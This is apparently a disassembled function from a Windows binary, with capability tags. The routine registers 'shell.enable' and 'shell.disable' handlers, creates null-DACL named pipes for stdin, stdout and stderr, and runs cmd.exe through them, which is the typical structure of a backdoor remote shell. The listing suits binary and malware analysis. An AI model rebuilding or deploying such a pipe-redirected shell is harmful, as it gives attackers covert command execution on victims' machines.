Function at 0x40a5d5
Capabilities:
Create pipe
Create process on windows

Disassembly:
mov eax, 0x4273c8
call sub.MSVCRT.dll__EH_prolog
sub esp, 0x340
push ebx
push esi
push edi
mov esi, ecx
push esi
push 1
push str.FallBack_handler_for_shell
push str.shell.handler
lea eax, [esi + 4]
push eax
mov eax, dword [0x43e448]
lea ecx, [eax + 4]
call fcn.0040ab06
push esi
push 1
push str.Enable_shell_handler
push str.shell.enable
lea eax, [esi + 0x3c]
push eax
mov eax, dword [0x43e448]
lea ecx, [eax + 4]
call fcn.0040ab06
push esi
push 1
push str.Disable_shell_handler
push str.shell.disable
lea eax, [esi + 0x74]
push eax
mov eax, dword [0x43e448]
lea ecx, [eax + 4]
call fcn.0040ab06
xor eax, eax
xor ebx, ebx
mov dword [ebp - 0x18], ebx
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
push 1
stosd dword es:[edi], eax
pop edi
push edi
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
push ebx
push ebx
push edi
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
push 0x44
mov dword [ebp - 0x10], edi
lea eax, [ebp - 0x30]
lea edi, [esi + 0xc0]
push ebx
push edi
mov dword [ebp - 0x18], 0xc
mov dword [ebp - 0x14], eax
call sub.MSVCRT.dll_memset
or byte [esi + 0xed], 1
or dword [esi + 0xfc], 0xffffffff
or dword [esi + 0xf8], 0xffffffff
or dword [esi + 0x100], 0xffffffff
mov dword [edi], 0x44
push 0x40
xor eax, eax
mov word [esi + 0xf0], bx
mov dl, byte [0x43c95c]
pop ecx
mov byte [ebp - 0x144], dl
lea edi, [ebp - 0x143]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x40
mov byte [ebp - 0x248], dl
xor eax, eax
pop ecx
lea edi, [ebp - 0x247]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x40
pop ecx
xor eax, eax
mov byte [ebp - 0x34c], dl
lea edi, [ebp - 0x34b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, str.cmd.exe
push edi
lea eax, [ebp - 0x144]
push str..pipeexec__s_stdout
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push edi
lea eax, [ebp - 0x248]
push str..pipeexec__s_stdin
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push edi
lea eax, [ebp - 0x34c]
push str..pipeexec__s_stderr
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x30
lea eax, [ebp - 0x18]
push eax
push 0xffffffffffffffff
push ebx
push ebx
push 0xff
push 4
push 2
lea eax, [ebp - 0x144]
push eax
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov dword [esi + 0xfc], eax
lea eax, [ebp - 0x18]
push eax
push 0xffffffffffffffff
push ebx
push ebx
push 0xff
push 4
push 1
lea eax, [ebp - 0x248]
push eax
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov dword [esi + 0xf8], eax
lea eax, [ebp - 0x18]
push eax
push 0xffffffffffffffff
push ebx
push ebx
push 0xff
push 4
push 2
lea eax, [ebp - 0x34c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov ecx, dword [esi + 0xfc]
or edx, 0xffffffff
cmp ecx, edx
mov dword [esi + 0x100], eax
je 0x40a94f
cmp eax, edx
je 0x40a94f
cmp dword [esi + 0xf8], edx
je 0x40a94f
push ebx
lea eax, [ebp - 0x144]
push eax
mov dword [esi + 0xb4], edx
mov dword [esi + 0xb0], edx
mov dword [esi + 0xb8], edx
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
push ebx
lea eax, [ebp - 0x248]
push eax
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
push ebx
lea eax, [ebp - 0x34c]
push eax
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
push ebx
push 0x80
push 3
lea eax, [ebp - 0x18]
push eax
push ebx
push 0x80000000
lea eax, [ebp - 0x144]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push ebx
push 0x80
push 3
mov dword [esi + 0xb4], eax
lea eax, [ebp - 0x18]
push eax
push ebx
push 0x40000000
lea eax, [ebp - 0x248]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push ebx
push 0x80
push 3
mov dword [esi + 0xb0], eax
lea eax, [ebp - 0x18]
push eax
push ebx
push 0x80000000
lea eax, [ebp - 0x34c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [esi + 0xb8], eax
lea eax, [ebp - 0x40]
push eax
lea eax, [esi + 0xc0]
push eax
push ebx
push ebx
push 0x8000020
push 1
push ebx
push ebx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40a968
mov eax, dword [ebp - 0x40]
push 0x30
mov dword [esi + 0xbc], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp - 0x1c], eax
cmp eax, ebx
mov dword [ebp - 4], ebx
je 0x40a8c2
mov ecx, eax
call fcn.0040a346
jmp 0x40a8c4
xor eax, eax
or dword [ebp - 4], 0xffffffff
push 0x30
mov dword [esi + 0x1b0], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp - 0x1c], eax
cmp eax, ebx
mov dword [ebp - 4], 1
je 0x40a8ed
mov ecx, eax
call fcn.0040a346
jmp 0x40a8ef
xor eax, eax
mov ecx, dword [esi + 0xb4]
or dword [ebp - 4], 0xffffffff
mov dword [esi + 0x1b4], eax
mov eax, dword [esi + 0x1b0]
mov dword [eax + 0x2c], ecx
mov eax, dword [esi + 0x1b0]
push ebx
lea edi, [esi + 0x104]
push ebx
mov dword [eax + 0x28], edi
mov ecx, dword [esi + 0x1b0]
push 1
call fcn.0040cb98
mov eax, dword [esi + 0x1b4]
mov ecx, dword [esi + 0xb8]
mov dword [eax + 0x2c], ecx
mov eax, dword [esi + 0x1b0]
push ebx
push ebx
mov dword [eax + 0x28], edi
mov ecx, dword [esi + 0x1b4]
push 1
call fcn.0040cb98
jmp 0x40a968
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call edi
push dword [esi + 0x100]
call edi
push dword [esi + 0xf8]
call edi
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret